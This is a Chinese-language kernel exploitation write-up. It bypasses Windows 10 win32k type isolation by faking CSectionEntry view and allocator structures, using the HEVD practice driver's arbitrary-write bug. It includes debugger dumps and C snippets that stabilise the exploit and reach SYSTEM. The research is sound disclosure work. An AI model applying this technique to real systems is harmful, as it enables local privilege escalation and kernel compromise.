原文來自安全客,作者:k0shl from 360vulcan team
原文鏈接:https://www.anquanke.com/post/id/107532

作者twitter:@KeyZ3r0
作者微博:@我叫0day誰找我_

一、背景

近年來,在內核漏洞利用中利用GDI object來完成任意地址R/W的方法越來越成熟,在池溢出(pool overflow),任意地址寫(arbitrary write),越界寫(oob write),釋放后重用(uaf),二次釋放(double free)等很多漏洞類型的場景中,都可以利用GDI object來完成任意地址讀寫,我們稱為GDI data-only attack。

微軟在Windows 10 build 1709版本之后引入了win32k類型隔離用來緩解GDI object這種利用方式,我在對win32kbase.sys關于typeisolation實現的逆向工程中發現了微軟在設計類型隔離這種緩解措施時的一處失誤,導致在某些常見漏洞場景中仍然可以利用GDI object完成data-only exploitation,在本文中,我將與大家分享這個新的攻擊方案思路。

調試環境:

OS:

Windows 10 rs3 16299.371

FILE:

Win32kbase.sys 10.0.16299.371

二、GDI data-only attack

GDI data-only attack是當前內核漏洞利用中比較常見的利用手段之一,利用常見的漏洞場景修改GDI object的某些特定成員變量,就可以使用win32k中管理GDI的API完成任意地址讀寫。目前,在GDI data-only attack中常用的兩個GDI object是Bitmap以及Palette,關于Bitmap一個重要的結構是

typedef struct _SURFOBJ {

DHSURF dhsurf;

HSURF  hsurf;

DHPDEV dhpdev;

HDEV   hdev;

SIZEL  sizlBitmap;

ULONG  cjBits;

PVOID  pvBits;

PVOID  pvScan0;

LONG   lDelta;

ULONG  iUniq;

ULONG  iBitmapFormat;

USHORT iType;

USHORT fjBitmap;

} SURFOBJ, *PSURFOBJ;

Palette一個重要的結構是:

typedef struct _PALETTE64

{

BASEOBJECT64      BaseObject;

FLONG           flPal;

ULONG32           cEntries;

ULONG32           ulTime;

HDC             hdcHead;

ULONG64        hSelected;

ULONG64           cRefhpal;

ULONG64          cRefRegular;

ULONG64      ptransFore;

ULONG64      ptransCurrent;

ULONG64      ptransOld;

ULONG32           unk_038;

ULONG64         pfnGetNearest;

ULONG64   pfnGetMatch;

ULONG64           ulRGBTime;

ULONG64       pRGBXlate;

PALETTEENTRY    *pFirstColor;

struct _PALETTE *ppalThis;

PALETTEENTRY    apalColors[3];

}

在Bitmap和Palette的內核結構中,和GDI data-only attack相關的兩個重要成員變量是Bitmap->pvScan0和Palette->pFirstColor。這兩個成員變量指向Bitmap和Palette的data域,可以通過GDI API向data域讀取或寫入數據,只要我們通過觸發漏洞修改這兩個成員變量指向任意內存地址,就可以通過GetBitmapBits/SetBitmapBits或GetPaletteEntries/SetPaletteEntries完成對指向任意內存地址寫入和讀取,也就是任意地址讀寫。

關于利用Bitmap和Palette來完成GDI data-only attack現在網上已經有很多相關的技術文章,同時也不是本文的討論重點,這里就不做更深入的分享,相關的資料可以參考第五部分。

三、Win32k TypeIsolation

GDI data-only attack這種利用方式大大降低了內核利用的難度,且在大多數常見漏洞類型的場景中都可以應用,微軟在Windows10 rs3 build 1709之后增加了一個新的緩解機制—-win32k typeisolation,通過一個雙向鏈表將GDI object統一管理起來,同時將GDI object的頭部與data域分離,這樣不僅僅緩解了利用pool fengshui制造可預測池再使用GDI object進行占位并修改關鍵成員變量這種利用技術,同時也緩解了通過修改頭部其他成員變量來增大data域可控范圍這種利用技術,因為頭部與data域部分不再相鄰。

關于win32k typeisolation的機制可參考下圖:

在這里我對win32k typeisolation的機制關鍵部分進行簡要說明,關于win32k typeisolation的詳細運行機制,包括GDI object的申請,分配,釋放等可參考第五部分。

在win32k typeisolation中,GDI object通過CSectionEntry這個雙向鏈表進行統一管理,其中view域指向一個0x28000大小的內存空間,而GDI object的頭部在這里統一被管理,view域以view數組的方式管理,數組大小是0x1000。而在對GDI object的分配時RTL_BITMAP會作為是否向指定view域位置分配GDI object的重要依據。

在CSectionEntry中,bitmap_allocator指向CSectionBitmapAllocator,在CSectionBitmapAllocator中存放的xored_view,xor_key,xored_rtl_bitmap,其中xored_view ^ xor_key指向view域,xored_rtl_btimap ^ xor_key指向RTL_BITMAP。

在RTL_BITMAP中bitmap_buffer_ptr指向的BitmapBuffer用于記錄view域的狀態,空閑為0,占位為1。當申請GDI object的時候,會通過win32kbase!gpTypeIsolation開始遍歷CSectionEntry列表,通過對CSectionBitmapAllocator查看是否當前view域包含空閑位置,如果存在空閑位則會將新的GDI object header放置在view域中。

我對CTypeIsolation類和CSectionEntry類關于對GDI object申請和釋放實現的逆向中發現,TypeIsolation在對CSectionEntry雙向鏈表遍歷,利用CSectionBitmapAllocator判斷view域狀態,并對view域中存放的GDI object SURFACE進行管理的過程中,并沒有檢查CSectionEntry->view和CSectionEntry->bitmap_allocator指針指向的有效性,也就是說如果我們能夠構造一個fake view和fake bitmap_allocator并能夠利用漏洞修改CSectionEntry->view和CSectionEntry->bitmap_allocator使其指向fake struct,則我們可以重新利用GDI object完成data-only attack。

四、Save and reborn gdi data-only attack!

在本節中我來和大家分享一下這種攻擊方案的利用思路,HEVD是Hacksysteam開發的一個存在典型內核漏洞的練習驅動,在HEVD中存在一個任意地址(Arbitrary Write)漏洞,我們就以這個漏洞為例來和大家分享整個利用過程。

Attack scenario:

首先來看一下CSectionEntry的申請,CSectionEntry會申請0x40大小的session paged pool,CSectionEntry申請池空間的實現在NSInstrumentation::CSectionEntry::Create()中。

.text:00000001C002AC8A                 mov     edx, 20h        ; NumberOfBytes

.text:00000001C002AC8F                 mov     r8d, 6F736955h  ; Tag

.text:00000001C002AC95                 lea     ecx, [rdx+1]    ; PoolType

.text:00000001C002AC98                 call    cs:__imp_ExAllocatePoolWithTag //Allocate 0x40 session paged pool

也就是說,我們仍然可以通過pool fengshui來制造一個可預測的session paged pool hole用來給CSectionEntry占位,因此在HEVD這個Arbitrary write的漏洞利用場景中,我們使用tagWND的方法制造一個穩定的pool hole,并且利用HMValidateHandle泄露tagWND內核對象地址。因為當前漏洞實例是一個任意地址寫漏洞,因此如果我們能泄露內核對象地址便于我們對這個攻擊方案思路的理解,當然在很多攻擊場景中只需要利用pool fengshui制造一個可預測池即可。

kd> g//利用tagWND制造一個穩定的pool hole

Break instruction exception - code 80000003 (first chance)

0033:00007ff6`89a61829 cc              int     3

kd> p

0033:00007ff6`89a6182a 488b842410010000 mov     rax,qword ptr [rsp+110h]

kd> p

0033:00007ff6`89a61832 4839842400010000 cmp     qword ptr [rsp+100h],rax

kd> r rax

rax=ffff862e827ca220

kd> !pool ffff862e827ca220

Pool page ffff862e827ca220 region is Unknown

ffff862e827ca000 size:  150 previous size:    0  (Allocated)  Gh04

ffff862e827ca150 size:   10 previous size:  150  (Free)       Free

ffff862e827ca160 size:   b0 previous size:   10  (Free )  Uscu

*ffff862e827ca210 size:   40 previous size:   b0  (Allocated) *Ustx Process: ffffd40acb28c580

Pooltag Ustx : USERTAG_TEXT, Binary : win32k!NtUserDrawCaptionTemp

ffff862e827ca250 size:   e0 previous size:   40  (Allocated)  Gla8

ffff862e827ca330 size:   e0 previous size:   e0  (Allocated)  Gla8```

在0xffff862e827ca220制造了一個穩定的session paged pool hole,0xffff862e827ca220會在之后釋放,處于free狀態。

kd> p

0033:00007ff7`abc21787 488b842498000000 mov     rax,qword ptr [rsp+98h]

kd> p

0033:00007ff7`abc2178f 48398424a0000000 cmp     qword ptr [rsp+0A0h],rax

kd> !pool ffff862e827ca220

Pool page ffff862e827ca220 region is Unknown

ffff862e827ca000 size:  150 previous size:    0  (Allocated)  Gh04

ffff862e827ca150 size:   10 previous size:  150  (Free)       Free

ffff862e827ca160 size:   b0 previous size:   10  (Free )  Uscu

*ffff862e827ca210 size:   40 previous size:   b0  (Free ) *Ustx

Pooltag Ustx : USERTAG_TEXT, Binary : win32k!NtUserDrawCaptionTemp

ffff862e827ca250 size:   e0 previous size:   40  (Allocated)  Gla8

ffff862e827ca330 size:   e0 previous size:   e0  (Allocated)  Gla8

下面我們需要令CSecitionEntry在0xffff862e827ca220位置占位,這就需要利用TypeIsolation的一個特性,正如第二節我們提到的,在GDI object對象申請時,會遍歷CSectionEntry,并通過CSectionBitmapAllocator判斷view域中是否有空閑位,如果CSectionEntry的view域已滿,則會到下一個CSectionEntry中繼續查詢,但如果當前的CTypeIsolation雙向鏈表中,所有的CSectionEntry的view域全都被占滿,則會調用NSInstrumentation::CSectionEntry::Create()創建一個新的CSectionEntry。

因此,我們在制造完pool hole之后申請大量的GDI object,用來占滿所有CSectionEntry的view域,以確保創建新的CSectionEntry,并且占用0x40大小的pool hole。

kd> g//創建大量的GDI object, 0xffff862e827ca220位置被CSectionEntry占位

kd> !pool ffff862e827ca220

Pool page ffff862e827ca220 region is Unknown

ffff862e827ca000 size:  150 previous size:    0  (Allocated)  Gh04

ffff862e827ca150 size:   10 previous size:  150  (Free)       Free

ffff862e827ca160 size:   b0 previous size:   10  (Free )  Uscu

*ffff862e827ca210 size:   40 previous size:   b0  (Allocated) *Uiso

Pooltag Uiso : USERTAG_ISOHEAP, Binary : win32k!TypeIsolation::Create

ffff862e827ca250 size:   e0 previous size:   40  (Allocated)  Gla8 ffff86b442563150 size:

接下來我們需要構造fake CSectionEntry->view和fake CSectionEntry->bitmap_allocator,并且利用Arbitrary Write修改session paged pool hole中的CSectionEntry中的指針,使其指向我們構造的fake struct。

在我們申請大量GDI object的時候建立的新的CSectionEntry的view域中可能已經被SURFACE占滿或占據了一部分,如果我們構造fake struct的時候將view域構造成空,那么就可以欺騙TypeIsolation,在GDI object申請的時候會將SURFACE放在已知位置。

我們通過VirtualAllocEx在userspace申請內存存放fake struct,并且我們將userspace memory屬性置成READWRITE。

kd> dq 1e0000//fake pushlock

00000000`001e0000  00000000`00000000 00000000`0000006c

kd> dq 1f0000//fake view

00000000`001f0000  00000000`00000000 00000000`00000000

00000000`001f0010  00000000`00000000 00000000`00000000

kd> dq 190000//fake RTL_BITMAP

00000000`00190000  00000000`000000f0 00000000`00190010

00000000`00190010  00000000`00000000 00000000`00000000

kd> dq 1c0000//fake CSectionBitmapAllocator

00000000`001c0000  00000000`001e0000 deadbeef`deb2b33f

00000000`001c0010  deadbeef`deadb33f deadbeef`deb4b33f

00000000`001c0020  00000001`00000001 00000001`00000000

其中,0x1f0000指向view域,0x1c0000指向CSectionBitmapAllocator,fake view域將用于存放GDI object,而CSectionBitmapAllocator中的結構需要精心構造,因為我們需要通過它來欺騙typeisolation認為我們可控的CSectionEntry是個空閑view項。

typedef struct _CSECTIONBITMAPALLOCATOR {

PVOID           pushlock;           // + 0x00

ULONG64         xored_view;         // + 0x08

ULONG64         xor_key;            // + 0x10

ULONG64         xored_rtl_bitmap;   // + 0x18

ULONG           bitmap_hint_index;  // + 0x20

ULONG           num_commited_views; // + 0x24

} CSECTIONBITMAPALLOCATOR, *PCSECTIONBITMAPALLOCATOR;

上述CSectionBitmapAllocator結構和0x1c0000處的結構對照,其中xor_key我定義為0xdeadbeefdeadb33f,只要保證xor_key ^ xor_view和xor_key ^ xor_rtl_bitmap運算之后指向view域和RTL_BITMAP即可,在調試的過程中我發現pushlock必須是指向有效結構的指針,否則會觸發BUGCHECK,因此我申請了0x1e0000用于存放pushlock的內容。

如第二節所述,bitmap_hint_index會作為快速查找RTL_BITMAP的條件,因此這個值也需要置為空值表示RTL_BITMAP的狀態。同理我們來看一下RTL_BITMAP的結構。

typedef struct _RTL_BITMAP {

ULONG64         size;               // + 0x00

PVOID           bitmap_buffer;      // + 0x08

} RTL_BITMAP, *PRTL_BITMAP;

kd> dyb fffff322401b90b0

76543210 76543210 76543210 76543210

-------- -------- -------- --------

fffff322`401b90b0  11110000 00000000 00000000 00000000  f0 00 00 00

fffff322`401b90b4  00000000 00000000 00000000 00000000  00 00 00 00

fffff322`401b90b8  11000000 10010000 00011011 01000000  c0 90 1b 40

fffff322`401b90bc  00100010 11110011 11111111 11111111  22 f3 ff ff

fffff322`401b90c0  11111111 11111111 11111111 11111111  ff ff ff ff

fffff322`401b90c4  11111111 11111111 11111111 11111111  ff ff ff ff

fffff322`401b90c8  11111111 11111111 11111111 11111111  ff ff ff ff

fffff322`401b90cc  11111111 11111111 11111111 11111111  ff ff ff ff

kd> dq fffff322401b90b0

fffff322`401b90b0  00000000`000000f0 fffff322`401b90c0//ptr to rtl_bitmap buffer

fffff322`401b90c0  ffffffff`ffffffff ffffffff`ffffffff

fffff322`401b90d0  ffffffff`ffffffff

這里我選取了一個有效的RTL_BITMAP作為模板,其中第一個成員變量表示RTL_BITMAP size,第二個成員變量指向后面的bitmap_buffer,而緊鄰的bitmap_buffer以比特為單位表示view域狀態,我們為了欺騙typeisolation,將其全部置0,表示當前CSectionEntry項的view域全部空閑,參考0x190000 fake RTL_BITMAP結構。

接下來我們只需要通過HEVD的Arbitrary write漏洞修改CSectionEntry中view和CSectionBitmapAllocator指針即可。

kd> dq ffff862e827ca220//正常時

ffff862e`827ca220  ffff862e`827cf4f0 ffff862e`827ef300

ffff862e`827ca230  ffffc383`08613880 ffff862e`84780000

ffff862e`827ca240  ffff862e`827f33c0 00000000`00000000

kd> g//觸發漏洞后,CSectionEntry->view和CSectionEntry->bitmap_allocator被修改

Break instruction exception - code 80000003 (first chance)

0033:00007ff7`abc21e35 cc              int     3

kd> dq ffff862e827ca220

ffff862e`827ca220  ffff862e`827cf4f0 ffff862e`827ef300

ffff862e`827ca230  ffffc383`08613880 00000000`001f0000

ffff862e`827ca240  00000000`001c0000 00000000`00000000

接下來我們正常申請一個GDI object,調用CreateBitmap創建一個bitmap object,然后觀察view域的狀態。

kd> g

Break instruction exception - code 80000003 (first chance)

0033:00007ff7`abc21ec8 cc              int     3

kd> dq 1f0280

00000000`001f0280  00000000`00051a2e 00000000`00000000

00000000`001f0290  ffffd40a`cc9fd700 00000000`00000000

00000000`001f02a0  00000000`00051a2e 00000000`00000000

00000000`001f02b0  00000000`00000000 00000002`00000040

00000000`001f02c0  00000000`00000080 ffff862e`8277da30

00000000`001f02d0  ffff862e`8277da30 00003f02`00000040

00000000`001f02e0  00010000`00000003 00000000`00000000

00000000`001f02f0  00000000`04800200 00000000`00000000

可以看到bitmap的kernel object被放置在了fake view域中,我們可以直接從userspace讀到bitmap的kernel object,接下來,我們只需要直接通過修改userspace中存放的bitmap kernel object的pvScan0,再通過GetBitmapBits/SetBitmapBits來完成任意地址讀寫。

總結一下整個利用過程:

Fix for full exploit:

在完成exploit的過程中,我發現了某些時候會產生BSOD,這大大降低了GDI data-only attack的穩定性,比如說

kd> !analyze -v

*******************************************************************************

*                                                                             *

*                        Bugcheck Analysis                                    *

*                                                                             *

*******************************************************************************




SYSTEM_SERVICE_EXCEPTION (3b)

An exception happened while executing a system service routine.

Arguments:

Arg1: 00000000c0000005, Exception code that caused the bugcheck

Arg2: ffffd7d895bd9847, Address of the instruction which caused the bugcheck

Arg3: ffff8c8f89e98cf0, Address of the context record for the exception that caused the bugcheck

Arg4: 0000000000000000, zero.



Debugging Details:

------------------







OVERLAPPED_MODULE: Address regions for 'dxgmms1' and 'dump_storport.sys' overlap




EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - 0x%08lx




FAULTING_IP:

win32kbase!NSInstrumentation::CTypeIsolation<163840,640>::AllocateType+47

ffffd7d8`95bd9847 488b1e          mov     rbx,qword ptr [rsi]




CONTEXT:  ffff8c8f89e98cf0 -- (.cxr 0xffff8c8f89e98cf0)

.cxr 0xffff8c8f89e98cf0

rax=ffffdb0039e7c080 rbx=ffffd7a7424e4e00 rcx=ffffdb0039e7c080

rdx=ffffd7a7424e4e00 rsi=00000000001e0000 rdi=ffffd7a740000660

rip=ffffd7d895bd9847 rsp=ffff8c8f89e996e0 rbp=0000000000000000

r8=ffff8c8f89e996b8  r9=0000000000000001 r10=7ffffffffffffffc

r11=0000000000000027 r12=00000000000000ea r13=ffffd7a740000680

r14=ffffd7a7424dca70 r15=0000000000000027

iopl=0         nv up ei pl nz na po nc

cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206

win32kbase!NSInstrumentation::CTypeIsolation<163840,640>::AllocateType+0x47:

ffffd7d8`95bd9847 488b1e          mov     rbx,qword ptr [rsi] ds:002b:00000000`001e0000=????????????????

經過多次跟蹤后我發現,BSOD產生的原因主要是我們通過VirtualAllocEx時申請的fake struct位于我們當前進程的進程空間,這個空間不被其他進程共享,也就是說,如果我們通過漏洞修改了view域和CSectionBitmapAllocator的指針之后,當其他進程申請GDI object時,同樣會遍歷CSecitionEntry,當遍歷到我們通過漏洞修改的CSectionEntry時,會因為指向進程地址空間無效,產生BSoD,所以這里當觸發漏洞之后我做了第一次fix。

DWORD64 fix_bitmapbits1 = 0xffffffffffffffff;

DWORD64 fix_bitmapbits2 = 0xffffffffffff;

DWORD64 fix_number = 0x2800000000;

CopyMemory((void *)(fakertl_bitmap + 0x10), &fix_bitmapbits1, 0x8);

CopyMemory((void *)(fakertl_bitmap + 0x18), &fix_bitmapbits1, 0x8);

CopyMemory((void *)(fakertl_bitmap + 0x20), &fix_bitmapbits1, 0x8);

CopyMemory((void *)(fakertl_bitmap + 0x28), &fix_bitmapbits2, 0x8);

CopyMemory((void *)(fakeallocator + 0x20), &fix_number, 0x8);

在第一個fix中,我修改了bitmap_hint_index和rtl_bitmap,欺騙typeisolation在遍歷CSectionEntry的時候認為fake CSectionEntry的view域目前已被占滿,就會直接跳過這個CSectionEntry。

我們知道當前的CSectionEntry已經被我們修改,因此即使我們結束了exploit退出進程后CSectionEntry仍然會作為CTypeIsolation雙向鏈表的一部分,而我們進程退出時,VirtualAllocEx申請的當前進程用戶空間會被釋放掉,這就會引發很多未知的錯誤,而我們已經通過漏洞擁有了任意地址讀寫的能力,于是我進行了第二次fix。

ArbitraryRead(bitmap, fakeview + 0x280 + 0x48, CSectionEntryKernelAddress + 0x8, (BYTE *)&amp;CSectionPrevious, sizeof(DWORD64));

ArbitraryRead(bitmap, fakeview + 0x280 + 0x48, CSectionEntryKernelAddress, (BYTE *)&amp;CSectionNext, sizeof(DWORD64));

LogMessage(L_INFO, L"Current CSectionEntry-&gt;previous: 0x%p", CSectionPrevious);

LogMessage(L_INFO, L"Current CSectionEntry-&gt;next: 0x%p", CSectionNext);

ArbitraryWrite(bitmap, fakeview + 0x280 + 0x48, CSectionNext + 0x8, (BYTE *)&amp;CSectionPrevious, sizeof(DWORD64));

ArbitraryWrite(bitmap, fakeview + 0x280 + 0x48, CSectionPrevious, (BYTE *)&amp;CSectionNext, sizeof(DWORD64));

第二次fix中,我獲取了CSectionEntry->previous和CSectionEntry->next,將當前CSectionEntry脫鏈(unlink),這樣在GDI object分配遍歷CSectionEntry時,就不會再對fake CSectionEntry處理。

當完成這兩個fix之后,就可以成功利用GDI data-only attack完成任意地址讀寫了,這里我直接獲取到了最新版Windows10 rs3的SYSTEM權限,但是在進程完全退出的時候卻再一次引發了BSoD。經過分析發現,這個BSoD是由于進行了unlink之后,由于GDI的句柄保存在GDI handle table中,這時會去CSectionEntry中找到對應內核對象并free掉,而我們存放bitmap kernel object的CSectionEntry已經被unlink,引發了BSoD的發生。

問題發生在NtGdiCloseProcess中,該函數負責釋放當前進程的GDI object,跟SURFACE相關的調用鏈如下

0e ffff858c`8ef77300 ffff842e`52a57244 win32kbase!SURFACE::bDeleteSurface+0x7ef

0f ffff858c`8ef774d0 ffff842e`52a1303f win32kbase!SURFREF::bDeleteSurface+0x14

10 ffff858c`8ef77500 ffff842e`52a0cbef win32kbase!vCleanupSurfaces+0x87

11 ffff858c`8ef77530 ffff842e`52a0c804 win32kbase!NtGdiCloseProcess+0x11f

bDeleteSurface負責釋放Gdi handle table中的SURFACE內核對象,我們需要在GDI handle table中找到存放在fake view中的HBITMAP,并且將其置0,這樣就會在bDeleteSurface中不進行后續的free處理,直接跳過再調用HmgNextOwned釋放下一個GDI object。關于查找HBITMAP在GDI handle table中的位置的關鍵代碼在HmgSharedLockCheck中,其關鍵代碼如下:

v4 = *(_QWORD *)(*(_QWORD *)(**(_QWORD **)(v10 + 24) + 8 * ((unsigned __int64)(unsigned int)v6 >> 8)) + 16i64 * (unsigned __int8)v6 + 8);

這里我還原了一個完整的查找bitmap對象的計算方法:

*(*(*(*(*win32kbase!gpHandleManager+10)+8)+18)+(hbitmap&0xffff>>8)*8)+hbitmap&0xff*2*8

值得一提的是這里需要泄露win32kbase.sys的基址,在Low IL的情況下需要漏洞來leak info,我是通過在Medium IL下用NtQuerySystemInformation泄露win32kbase.sys基址從而計算出gpHandleManager的地址,之后找到fake view中bitmap在Gdi handle table中的對象位置,并置0,最后完成了full exploit。

現在內核利用越來越難,一個漏洞往往需要其他漏洞的支持,比如info leak。而相比越界寫,uaf,double free和write-what-where這幾種漏洞,pool overflow在使用這種方案利用上更為復雜,因為涉及到CSectionEntry->previous和CSectionEntry->next的問題,但并不是不可能在pool overflow中使用這種方法。

作者水平有限,如果有問題歡迎交流討論,謝謝!

五、參考


本文經安全客授權發布,轉載請聯系安全客平臺。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/594/